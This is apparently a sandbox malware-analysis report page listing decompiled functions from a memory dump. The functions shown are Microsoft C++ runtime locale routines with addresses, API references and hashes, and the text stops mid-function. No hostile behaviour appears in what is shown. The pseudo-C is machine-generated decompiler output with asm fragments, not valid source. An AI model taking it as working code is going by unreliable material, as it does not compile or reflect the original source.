Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82285a549bff26da23fdfbb04df9b9bc34399da66b996b24a74a6f167a2b8de6
Instruction ID: b69bdf89708d51cb09204338b7b0592d384fe3b984d2cbde2560e26b912c1466
Opcode Fuzzy Hash: 82285a549bff26da23fdfbb04df9b9bc34399da66b996b24a74a6f167a2b8de6
Instruction Fuzzy Hash: 08411975A0426C4ECB58CFB998D13E9BBE1BB59320F2546FECD99D3381D6344A418B90

Uniqueness

Uniqueness Score: -1.00%

Function 001A53D0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E001A53D0(void* __ebx, void* __edi, intOrPtr _a4) {
				signed int _v4;
				char _v8;
				char _v12;
				void* _v16;
				void* _v72;
				intOrPtr _v84;
				signed int _v88;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				void* _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				void* _v156;
				void* _v160;
				void* __esi;
				signed int _t62;
				signed int _t70;
				intOrPtr _t74;
				int _t79;
				void* _t88;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t97;
				void* _t108;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				signed int _t117;
				void* _t118;
				intOrPtr _t120;
				intOrPtr _t125;
				void* _t132;
				intOrPtr _t133;
				signed int _t135;
				void* _t136;
				signed int _t137;
				signed int _t139;
				void* _t140;
				signed int _t141;
				signed int _t145;
				void* _t149;
				signed int _t150;
				void* _t152;
				void* _t155;
				void* _t157;
				void* _t159;

				_t150 = _t149 - 0x88;
				_t62 =  *0x1d5010; // 0x8121a627
				_v4 = _t62 ^ _t150;
				_push(__ebx);
				_t116 = _a4;
				_push(__edi);
				_v84 = _t116;
				E001A612A( &_v12, 0);
				_t135 =  *0x20271c; // 0x1
				_t145 =  *0x203570; // 0xb12ad8
				if(_t135 == 0) {
					E001A612A( &_v8, _t135);
					_t159 =  *0x20271c - _t135; // 0x1
					if(_t159 == 0) {
						_t113 =  *0x202708; // 0x4
						_t114 = _t113 + 1;
						 *0x202708 = _t114;
						 *0x20271c = _t114;
					}
					E001A6182( &_v8);
					_t135 =  *0x20271c; // 0x1
				}
				_t120 =  *((intOrPtr*)(_t116 + 4));
				_t117 = _t135 * 4;
				if(_t135 >=  *((intOrPtr*)(_t120 + 0xc))) {
					_t139 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t139 =  *(_t117 +  *((intOrPtr*)(_t120 + 8)));
					if(_t139 == 0) {
						L8:
						__eflags =  *((char*)(_t120 + 0x14));
						if( *((char*)(_t120 + 0x14)) == 0) {
							L11:
							__eflags = _t139;
							if(_t139 != 0) {
								goto L6;
							} else {
								goto L12;
							}
						} else {
							_t108 = E001A6477();
							__eflags = _t135 -  *((intOrPtr*)(_t108 + 0xc));
							if(_t135 >=  *((intOrPtr*)(_t108 + 0xc))) {
								L12:
								__eflags = _t145;
								if(__eflags == 0) {
									_t139 = E001A9553(_t139, __eflags, 0x44);
									_t152 = _t150 + 4;
									_t70 =  *(_v84 + 4);
									__eflags = _t70;
									if(_t70 == 0) {
										_t137 = 0x1d245f;
									} else {
										_t137 =  *(_t70 + 0x18);
										__eflags = _t137;
										if(_t137 == 0) {
											_t137 = _t70 + 0x1c;
										}
									}
									E001A612A( &_v132, 0);
									_v132 = 0;
									_v128 = 0;
									_v124 = 0;
									_v120 = 0;
									_v116 = 0;
									_v112 = 0;
									_v108 = 0;
									_v104 = 0;
									_v100 = 0;
									_v96 = 0;
									 *((intOrPtr*)(_t152 + 0x3c)) = 0;
									_v88 = 0;
									__eflags = _t137;
									if(_t137 == 0) {
										E001A62F1("bad locale name");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t125 = _v140;
										_t74 = _v144;
										__eflags = _t125 - 0x1000;
										if(_t125 < 0x1000) {
											L36:
											_v140 = _t125;
											_v144 = _t74;
											_push(_t145);
											return L001A9F7A(_v144);
										} else {
											_t133 =  *((intOrPtr*)(_t74 - 4));
											_t125 = _t125 + 0x23;
											__eflags = _t74 - _t133 + 0xfffffffc - 0x1f;
											if(_t74 - _t133 + 0xfffffffc > 0x1f) {
												_push(_t139);
												_t141 = _t139 ^ _t139;
												E001AFD8F(_t141, _t141, _t141, _t141, _t141);
												_push(_t141);
												_push(_t141);
												_push(_t141);
												_push(_t141);
												_push(_t141);
												L40();
												asm("int3");
												_t79 = IsProcessorFeaturePresent(0x17);
												__eflags = _t79;
												if(_t79 != 0) {
													_push(5);
													asm("int 0x29");
												}
												_push(_t141);
												E001AFC47(_t117, _t133, 0xc0000417, 2, 0xc0000417, 1);
												return TerminateProcess(GetCurrentProcess(), 0xc0000417);
											} else {
												_t74 = _t133;
												goto L36;
											}
										}
									} else {
										E001A657D( &_v132,  &_v132, _t137);
										 *(_t139 + 4) = 0;
										 *_t139 = 0x1c72dc;
										E001A8D38(_t137, _t139, __eflags, _t152 + 0x50);
										_t155 = _t152 + 0xc;
										asm("movups xmm0, [eax]");
										asm("movups [esi+0x8], xmm0");
										_t88 = E001A8EAF(_t155 + 0x58);
										asm("movups xmm0, [eax]");
										asm("movups [esi+0x18], xmm0");
										asm("movups xmm0, [eax+0x10]");
										asm("movups [esi+0x28], xmm0");
										asm("movq xmm0, [eax+0x20]");
										asm("movq [esi+0x38], xmm0");
										 *((intOrPtr*)(_t139 + 0x40)) =  *((intOrPtr*)(_t88 + 0x28));
										E001A65C8( &_v132,  &_v132);
										_t92 = _v88;
										_t157 = _t155 + 8;
										__eflags = _t92;
										if(_t92 != 0) {
											E001AFB09(_t92);
											_t157 = _t157 + 4;
										}
										_t93 = _v96;
										_v88 = 0;
										__eflags = _t93;
										if(_t93 != 0) {
											E001AFB09(_t93);
											_t157 = _t157 + 4;
										}
										_t94 = _v104;
										_v96 = 0;
										__eflags = _t94;
										if(_t94 != 0) {
											E001AFB09(_t94);
											_t157 = _t157 + 4;
										}
										_t95 = _v112;
										_v104 = 0;
										__eflags = _t95;
										if(_t95 != 0) {
											E001AFB09(_t95);
											_t157 = _t157 + 4;
										}
										_t96 = _v120;
										_v112 = 0;
										__eflags = _t96;
										if(_t96 != 0) {
											E001AFB09(_t96);
											_t157 = _t157 + 4;
										}
										_t97 = _v128;
										_v120 = 0;
										__eflags = _t97;
										if(_t97 != 0) {
											E001AFB09(_t97);
											_t157 = _t157 + 4;
										}
										_v128 = 0;
										E001A6182( &_v132);
										E001A644B(__eflags, _t139);
										_t150 = _t157 + 4;
										 *((intOrPtr*)( *_t139 + 4))();
										 *0x203570 = _t139;
										goto L6;
									}
								} else {
									_t139 = _t145;
									goto L6;
								}
							} else {
								_t139 =  *(_t117 +  *((intOrPtr*)(_t108 + 8)));
								goto L11;
							}
						}
					} else {
						L6:
						E001A6182( &_v12);
						_pop(_t136);
						_pop(_t140);
						_pop(_t118);
						return E001A9545(_t139, _t118, _v4 ^ _t150, _t132, _t136, _t140);
					}
				}
			}

0x001a53d0
0x001a53d6
0x001a53dd
0x001a53e4
0x001a53e5
0x001a53f5
0x001a53f8
0x001a53fc
0x001a5401
0x001a5407
0x001a540f
0x001a5419
0x001a541e
0x001a5424
0x001a5426
0x001a542b
0x001a542c
0x001a5431
0x001a5431
0x001a543d
0x001a5442
0x001a5442
0x001a5448
0x001a544b
0x001a5455
0x001a5488
0x001a5488
0x00000000
0x001a5457
0x001a545a
0x001a545f
0x001a548a
0x001a548a
0x001a548e
0x001a54a0
0x001a54a0
0x001a54a2
0x00000000
0x00000000
0x00000000
0x00000000
0x001a5490
0x001a5490
0x001a5495
0x001a5498
0x001a54a4
0x001a54a4
0x001a54a6
0x001a54b3
0x001a54b5
0x001a54bc
0x001a54bf
0x001a54c1
0x001a54cf
0x001a54c3
0x001a54c3
0x001a54c6
0x001a54c8
0x001a54ca
0x001a54ca
0x001a54c8
0x001a54da
0x001a54e1
0x001a54e9
0x001a54ee
0x001a54f6
0x001a54fb
0x001a5503
0x001a5508
0x001a550c
0x001a5511
0x001a5515
0x001a5519
0x001a551d
0x001a5521
0x001a5523
0x001a564d
0x001a5652
0x001a5653
0x001a5654
0x001a5655
0x001a5656
0x001a5657
0x001a5658
0x001a5659
0x001a565a
0x001a565b
0x001a565c
0x001a565d
0x001a565e
0x001a565f
0x001a5660
0x001a5664
0x001a5668
0x001a566e
0x001a5682
0x001a5682
0x001a5686
0x001a9583
0x001a9590
0x001a5670
0x001a5670
0x001a5673
0x001a567b
0x001a567e
0x001afe55
0x001afe56
0x001afe5d
0x001afe65
0x001afe66
0x001afe67
0x001afe68
0x001afe69
0x001afe6a
0x001afe6f
0x001afe72
0x001afe78
0x001afe7a
0x001afe7c
0x001afe7f
0x001afe7f
0x001afe81
0x001afe8c
0x001afea3
0x001a5680
0x001a5680
0x00000000
0x001a5680
0x001a567e
0x001a5529
0x001a552f
0x001a5538
0x001a5540
0x001a5546
0x001a554b
0x001a554e
0x001a5556
0x001a555a
0x001a5562
0x001a5565
0x001a5569
0x001a556d
0x001a5571
0x001a5576
0x001a557e
0x001a5586
0x001a558b
0x001a558f
0x001a5592
0x001a5594
0x001a5597
0x001a559c
0x001a559c
0x001a559f
0x001a55a3
0x001a55ab
0x001a55ad
0x001a55b0
0x001a55b5
0x001a55b5
0x001a55b8
0x001a55bc
0x001a55c4
0x001a55c6
0x001a55c9
0x001a55ce
0x001a55ce
0x001a55d1
0x001a55d5
0x001a55dd
0x001a55df
0x001a55e2
0x001a55e7
0x001a55e7
0x001a55ea
0x001a55ee
0x001a55f6
0x001a55f8
0x001a55fb
0x001a5600
0x001a5600
0x001a5603
0x001a5607
0x001a560f
0x001a5611
0x001a5614
0x001a5619
0x001a5619
0x001a5620
0x001a5628
0x001a562e
0x001a5635
0x001a563a
0x001a563d
0x00000000
0x001a563d
0x001a54a8
0x001a54a8
0x00000000
0x001a54a8
0x001a549a
0x001a549d
0x00000000
0x001a549d
0x001a5498
0x001a5461
0x001a5461
0x001a5468
0x001a5476
0x001a5477
0x001a5479
0x001a5487
0x001a5487
0x001a545f

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 001A53FC
std::_Lockit::_Lockit.LIBCPMT ref: 001A5419
std::_Lockit::~_Lockit.LIBCPMT ref: 001A543D
std::_Lockit::~_Lockit.LIBCPMT ref: 001A5468
std::_Lockit::_Lockit.LIBCPMT ref: 001A54DA
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 001A552F
__Getctype.LIBCPMT ref: 001A5546
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 001A5586
std::_Lockit::~_Lockit.LIBCPMT ref: 001A5628
std::_Facet_Register.LIBCPMT ref: 001A562E

Strings

bad locale name, xrefs: 001A5648

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_GetctypeLocinfo_ctorLocinfo_dtorRegister
String ID: bad locale name
API String ID: 103145292-1405518554
Opcode ID: 7b08b8cd59c9eb176600aea7abc9291b8880ba68fd977c6613b6cb0ab837e0d6
Instruction ID: 736cbb80d24ab002eeadcdfcfe3db5f66c0f716cf01d6c4cf4b376d256b714c9
Opcode Fuzzy Hash: 7b08b8cd59c9eb176600aea7abc9291b8880ba68fd977c6613b6cb0ab837e0d6
Instruction Fuzzy Hash: AD61C2B99087408FD711DF64D845B1BB7F5BFAA304F08482DF88997252EB30E949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 001A59A0 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E001A59A0(void* __ebx, void* __edx, intOrPtr* _a4, intOrPtr _a8) {
				intOrPtr _v0;
				signed int _v8;
				signed short _v12;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v36;
				intOrPtr* _v44;
				char _v64;
				char _v72;
				char _v80;
				signed short _v84;
				signed short _v88;
				char _v92;
				char _v96;
				char _v144;
				signed short _v180;
				signed short _v188;
				char _v192;
				signed short _v196;
				intOrPtr* _v200;
				signed short _v204;
				signed short _v208;
				signed short _v212;
				signed short _v216;
				signed short _v220;
				char _v224;
				short _v228;
				signed short _v232;
				char _v236;
				signed short _v240;
				char _v244;
				signed short _v248;
				char _v268;
				intOrPtr _v272;
				intOrPtr* _v280;
				intOrPtr _v284;
				char _v288;
				char _v292;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t89;
				intOrPtr* _t91;
				intOrPtr _t95;
				signed int _t101;
				signed short _t107;
				intOrPtr* _t112;
				void* _t123;
				signed short _t127;
				void* _t160;
				intOrPtr* _t164;
				void* _t169;
				intOrPtr* _t170;
				void* _t175;
				signed int _t176;
				intOrPtr _t181;
				void* _t182;
				intOrPtr _t183;
				signed int _t185;
				intOrPtr* _t186;
				void* _t188;
				void* _t189;
				intOrPtr* _t190;
				intOrPtr* _t191;
				signed int _t195;
				signed int _t197;
				signed int _t198;

				_t175 = __edx;
				_t160 = __ebx;
				_t197 = (_t195 & 0xfffffff0) - 0xf8;
				_t89 =  *0x1d5010; // 0x8121a627
				_v8 = _t89 ^ _t197;
				_t91 = _a4;
				_v200 = _t91;
				_push(_t188);
				_t181 = _a8;
				if(_t91 == 0) {
					L21:
					_pop(_t182);
					_pop(_t189);
					return E001A9545(4, _t160, _v8 ^ _t197, _t175, _t182, _t189);
				} else {
					_t207 =  *_t91;
					if( *_t91 != 0) {
						goto L21;
					} else {
						_t190 = E001A9553(_t188, _t207, 0x18);
						asm("xorps xmm0, xmm0");
						_t198 = _t197 + 4;
						asm("movups [esi], xmm0");
						asm("movq [esi+0x10], xmm0");
						_t95 =  *((intOrPtr*)(_t181 + 4));
						if(_t95 == 0) {
							_t183 = 0x1d245f;
						} else {
							_t183 =  *((intOrPtr*)(_t95 + 0x18));
							if(_t183 == 0) {
								_t183 = _t95 + 0x1c;
							}
						}
						_t164 =  &_v248;
						E001A612A(_t164, 0);
						_v248 = 0;
						_v244 = 0;
						_v240 = 0;
						_v236 = 0;
						_v232 = 0;
						_v228 = 0;
						_v224 = 0;
						_v220 = 0;
						_v216 = 0;
						_v212 = 0;
						_v208 = 0;
						_v204 = 0;
						if(_t183 == 0) {
							E001A62F1("bad locale name");
							goto L23;
						} else {
							E001A657D(_t164,  &_v248, _t183);
							 *(_t190 + 4) = 0;
							 *_t190 = 0x1c814c;
							E001AFAE1();
							_t123 = E001A8EAF( &_v192);
							asm("movups xmm0, [eax]");
							asm("movups [esp+0xc0], xmm0");
							asm("movups xmm0, [eax+0x10]");
							asm("movups [esp+0xd0], xmm0");
							asm("movq xmm0, [eax+0x20]");
							asm("movq [esp+0xe0], xmm0");
							_v24 =  *((intOrPtr*)(_t123 + 0x28));
							 *(_t190 + 8) = 0;
							 *(_t190 + 0x10) = 0;
							 *(_t190 + 0x14) = 0;
							E001A8EAF( &_v144);
							_push(1);
							_push(1);
							_t127 = E001ADCC3();
							_t198 = _t198 + 0x18;
							if(_t127 == 0) {
								L23:
								E001A6294(__eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(0xffffffff);
								_push(0x1c6850);
								_push( *[fs:0x0]);
								_push(_t160);
								_push(_t190);
								_push(_t183);
								_t101 =  *0x1d5010; // 0x8121a627
								_push(_t101 ^ _t198);
								 *[fs:0x0] =  &_v268;
								_v272 = _t198 - 0x18;
								_t191 = _t164;
								_v280 = _t191;
								_v284 = 0;
								E001A3A60( &_v292, _t191);
								__eflags = _v288;
								if(_v288 != 0) {
									_v12 = 0;
									_t107 = E001A49B0( *((intOrPtr*)( *((intOrPtr*)( *_t191 + 4)) + _t191 + 0x38)), _v0);
									_t176 = 4;
									__eflags = 0xffff - (_t107 & 0x0000ffff);
									_t185 =  ==  ? 4 : 0;
									_v36 = _t185;
									_v12 = 0xffffffff;
								} else {
									_t185 = 4;
									_t176 = 4;
								}
								_t169 =  *((intOrPtr*)( *_t191 + 4)) + _t191;
								__eflags =  *((intOrPtr*)(_t169 + 0x38));
								_t177 =  !=  ? 0 : _t176;
								_t178 = ( !=  ? 0 : _t176) |  *(_t169 + 0xc);
								_t179 = ( !=  ? 0 : _t176) |  *(_t169 + 0xc) | _t185;
								E001A2130(_t169, ( !=  ? 0 : _t176) |  *(_t169 + 0xc) | _t185, 0);
								_t112 = L001A6692();
								_t186 = _v44;
								__eflags = _t112;
								if(_t112 == 0) {
									E001A4710();
								}
								_t170 =  *((intOrPtr*)( *((intOrPtr*)( *_t186 + 4)) + _t186 + 0x38));
								__eflags = _t170;
								if(_t170 != 0) {
									 *((intOrPtr*)( *_t170 + 8))();
								}
								 *[fs:0x0] = _v20;
								return _t191;
							} else {
								 *_t127 = 0;
								 *(_t190 + 8) = _t127;
								 *(_t190 + 0x10) = E001A1BD0(_t160, _t183, _t190, "false", 0,  &_v64);
								 *(_t190 + 0x14) = E001A1BD0(_t160, _t183, _t190, "true", 0,  &_v64);
								_v96 = 0x2e;
								asm("xorps xmm0, xmm0");
								_v84 = 0;
								asm("movlpd [esp+0xb0], xmm0");
								E001A5F74(_t164,  &_v84,  &_v96, 1,  &_v80,  &_v64);
								 *((short*)(_t190 + 0xc)) = _v84 & 0x0000ffff;
								asm("xorps xmm0, xmm0");
								_v92 = 0x2c;
								_v88 = 0;
								asm("movlpd [esp+0xbc], xmm0");
								E001A5F74(_t164,  &_v88,  &_v92, 1,  &_v72,  &_v64);
								 *((short*)(_t190 + 0xe)) = _v88 & 0x0000ffff;
								 *_v196 = _t190;
								E001A65C8(_t164,  &_v248);
								_t147 = _v204;
								_t197 = _t198 + 0x44;
								if(_v204 != 0) {
									E001AFB09(_t147);
									_t197 = _t197 + 4;
								}
								_t148 = _v188;
								_v180 = 0;
								if(_v188 != 0) {
									E001AFB09(_t148);
									_t197 = _t197 + 4;
								}
								_t149 = _v196;
								_v188 = 0;
								if(_v196 != 0) {
									E001AFB09(_t149);
									_t197 = _t197 + 4;
								}
								_t150 = _v204;
								_v196 = 0;
								if(_v204 != 0) {
									E001AFB09(_t150);
									_t197 = _t197 + 4;
								}
								_t151 = _v212;
								_v204 = 0;
								if(_v212 != 0) {
									E001AFB09(_t151);
									_t197 = _t197 + 4;
								}
								_t152 = _v220;
								_v212 = 0;
								if(_v220 != 0) {
									E001AFB09(_t152);
									_t197 = _t197 + 4;
								}
								_v220 = 0;
								E001A6182( &_v224);
								goto L21;
							}
						}
					}
				}
			}

0x001a59a0
0x001a59a0
0x001a59a6
0x001a59ac
0x001a59b3
0x001a59ba
0x001a59bd
0x001a59c1
0x001a59c3
0x001a59c8
0x001a5c80
0x001a5c8c
0x001a5c8d
0x001a5c98
0x001a59ce
0x001a59ce
0x001a59d1
0x00000000
0x001a59d7
0x001a59de
0x001a59e0
0x001a59e3
0x001a59e6
0x001a59e9
0x001a59ee
0x001a59f3
0x001a5a01
0x001a59f5
0x001a59f5
0x001a59fa
0x001a59fc
0x001a59fc
0x001a59fa
0x001a5a08
0x001a5a0c
0x001a5a13
0x001a5a1b
0x001a5a20
0x001a5a28
0x001a5a2d
0x001a5a35
0x001a5a3a
0x001a5a3e
0x001a5a43
0x001a5a47
0x001a5a4b
0x001a5a4f
0x001a5a55
0x001a5c9e
0x00000000
0x001a5a5b
0x001a5a61
0x001a5a66
0x001a5a6d
0x001a5a73
0x001a5a7d
0x001a5a85
0x001a5a88
0x001a5a90
0x001a5a94
0x001a5a9c
0x001a5aa1
0x001a5aad
0x001a5ab9
0x001a5ac0
0x001a5ac7
0x001a5ace
0x001a5ad6
0x001a5ad8
0x001a5ada
0x001a5adf
0x001a5ae4
0x001a5ca3
0x001a5ca3
0x001a5ca8
0x001a5ca9
0x001a5caa
0x001a5cab
0x001a5cac
0x001a5cad
0x001a5cae
0x001a5caf
0x001a5cb3
0x001a5cb5
0x001a5cc0
0x001a5cc4
0x001a5cc5
0x001a5cc6
0x001a5cc7
0x001a5cce
0x001a5cd2
0x001a5cd8
0x001a5cdb
0x001a5cdd
0x001a5ce2
0x001a5ce9
0x001a5cee
0x001a5cf2
0x001a5cfd
0x001a5d10
0x001a5d1d
0x001a5d22
0x001a5d25
0x001a5d28
0x001a5d2b
0x001a5cf4
0x001a5cf4
0x001a5cf9
0x001a5cf9
0x001a5d64
0x001a5d6a
0x001a5d6d
0x001a5d70
0x001a5d73
0x001a5d76
0x001a5d7b
0x001a5d80
0x001a5d83
0x001a5d85
0x001a5d89
0x001a5d89
0x001a5d93
0x001a5d97
0x001a5d99
0x001a5d9d
0x001a5d9d
0x001a5da5
0x001a5db3
0x001a5aea
0x001a5aea
0x001a5aed
0x001a5b07
0x001a5b21
0x001a5b2b
0x001a5b33
0x001a5b36
0x001a5b41
0x001a5b65
0x001a5b75
0x001a5b79
0x001a5b83
0x001a5b8b
0x001a5b9e
0x001a5bba
0x001a5bca
0x001a5bd2
0x001a5bd9
0x001a5bde
0x001a5be2
0x001a5be7
0x001a5bea
0x001a5bef
0x001a5bef
0x001a5bf2
0x001a5bf6
0x001a5c00
0x001a5c03
0x001a5c08
0x001a5c08
0x001a5c0b
0x001a5c0f
0x001a5c19
0x001a5c1c
0x001a5c21
0x001a5c21
0x001a5c24
0x001a5c28
0x001a5c32
0x001a5c35
0x001a5c3a
0x001a5c3a
0x001a5c3d
0x001a5c41
0x001a5c4b
0x001a5c4e
0x001a5c53
0x001a5c53
0x001a5c56
0x001a5c5a
0x001a5c64
0x001a5c67
0x001a5c6c
0x001a5c6c
0x001a5c73
0x001a5c7b
0x00000000
0x001a5c7b
0x001a5ae4
0x001a5a55
0x001a59d1

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 001A5A0C
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 001A5A61
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 001A5BD9
std::_Lockit::~_Lockit.LIBCPMT ref: 001A5C7B
Concurrency::cancel_current_task.LIBCPMT ref: 001A5CA3

Strings

., xrefs: 001A5B2B
false, xrefs: 001A5AFA
true, xrefs: 001A5B14
,, xrefs: 001A5B83
bad locale name, xrefs: 001A5C99

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$Concurrency::cancel_current_taskLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: ,$.$bad locale name$false$true
API String ID: 3204333896-3659324578
Opcode ID: 843980948b6cb82d6e77c2a1fb277446ffa1125cf7ca64141b7c6fd2bc5bec99
Instruction ID: 7be39104b698c7c107c12f0df43d0e45e186645a6bcd82eddfa0178692546f99
Opcode Fuzzy Hash: 843980948b6cb82d6e77c2a1fb277446ffa1125cf7ca64141b7c6fd2bc5bec99
Instruction Fuzzy Hash: 538173B59087809FE720DF64C941B9BB7E8AF96314F044A2DF98897241F774E548CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 001A4EB0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E001A4EB0(void* __ebx, void* __edx, void* __edi, signed int* _a4, signed int _a16, signed int _a20) {
				signed int _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v72;
				signed int _v76;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				char _v96;
				char _v100;
				signed int _v104;
				char _v108;
				signed int _v112;
				void* _v120;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				char _v140;
				char _v144;
				void* _v148;
				void* _v196;
				void* _v212;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				void* _v268;
				intOrPtr _v276;
				void* _v280;
				void* __esi;
				signed int _t174;
				signed int _t182;
				signed int _t188;
				void* _t195;
				signed int _t202;
				signed int _t210;
				intOrPtr _t214;
				signed int _t219;
				void* _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				void* _t248;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				unsigned int _t257;
				void* _t258;
				signed int _t272;
				signed int _t274;
				void* _t278;
				signed int _t283;
				signed int _t284;
				void* _t288;
				signed int _t294;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t298;
				signed int _t299;
				void* _t310;
				signed int _t315;
				signed int _t316;
				signed int* _t318;
				signed int _t319;
				void* _t320;
				signed int _t321;
				void* _t322;
				signed int* _t323;
				signed int _t324;
				signed int _t325;
				void* _t326;
				signed int _t330;
				signed int _t331;
				intOrPtr _t334;
				intOrPtr* _t338;
				signed int* _t340;
				intOrPtr _t346;
				intOrPtr _t351;
				signed int _t359;
				void* _t361;
				signed int _t372;
				intOrPtr _t373;
				signed int _t375;
				void* _t376;
				signed int _t377;
				signed int _t378;
				signed int _t379;
				void* _t380;
				signed int _t381;
				void* _t382;
				signed int _t383;
				signed int _t385;
				signed int _t388;
				signed int _t393;
				void* _t394;
				signed int _t395;
				void* _t396;
				signed int _t397;
				void* _t398;
				signed int _t399;
				intOrPtr _t405;
				signed int _t408;
				intOrPtr* _t410;
				signed int _t412;
				signed int _t414;
				signed int _t415;
				void* _t423;
				signed int _t424;
				void* _t426;
				signed int _t427;
				void* _t429;
				void* _t430;
				signed int _t431;
				void* _t433;
				void* _t436;
				void* _t438;
				void* _t445;
				void* _t447;

				_t371 = __edx;
				_t424 = _t423 - 0x44;
				_t174 =  *0x1d5010; // 0x8121a627
				_v4 = _t174 ^ _t424;
				_push(__ebx);
				_t318 = _a4;
				_push(__edi);
				_v16 = _t318;
				E001A612A( &_v12, 0);
				_t375 =  *0x203588; // 0x3
				_t408 =  *0x203574; // 0xb17f38
				if(_t375 == 0) {
					E001A612A( &_v8, _t375);
					_t447 =  *0x203588 - _t375; // 0x3
					if(_t447 == 0) {
						_t315 =  *0x202708; // 0x4
						_t316 = _t315 + 1;
						 *0x202708 = _t316;
						 *0x203588 = _t316;
					}
					E001A6182( &_v8);
					_t375 =  *0x203588; // 0x3
				}
				_t334 =  *((intOrPtr*)(_t318 + 4));
				_t319 = _t375 * 4;
				if(_t375 >=  *((intOrPtr*)(_t334 + 0xc))) {
					_t393 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t393 =  *(_t319 +  *((intOrPtr*)(_t334 + 8)));
					if(_t393 == 0) {
						L8:
						__eflags =  *((char*)(_t334 + 0x14));
						if( *((char*)(_t334 + 0x14)) == 0) {
							L11:
							__eflags = _t393;
							if(_t393 != 0) {
								goto L6;
							} else {
								goto L12;
							}
						} else {
							_t310 = E001A6477();
							__eflags = _t375 -  *((intOrPtr*)(_t310 + 0xc));
							if(_t375 >=  *((intOrPtr*)(_t310 + 0xc))) {
								L12:
								__eflags = _t408;
								if(__eflags == 0) {
									_t393 = E001A9553(_t393, __eflags, 8);
									_t426 = _t424 + 4;
									_t182 =  *(_v16 + 4);
									__eflags = _t182;
									if(_t182 == 0) {
										_t377 = 0x1d245f;
									} else {
										_t377 =  *(_t182 + 0x18);
										__eflags = _t377;
										if(_t377 == 0) {
											_t377 = _t182 + 0x1c;
										}
									}
									_t338 =  &_v64;
									E001A612A(_t338, 0);
									_v64 = 0;
									_v60 = 0;
									_v56 = 0;
									_v52 = 0;
									_v48 = 0;
									_v44 = 0;
									_v40 = 0;
									_v36 = 0;
									_v32 = 0;
									_v28 = 0;
									_v24 = 0;
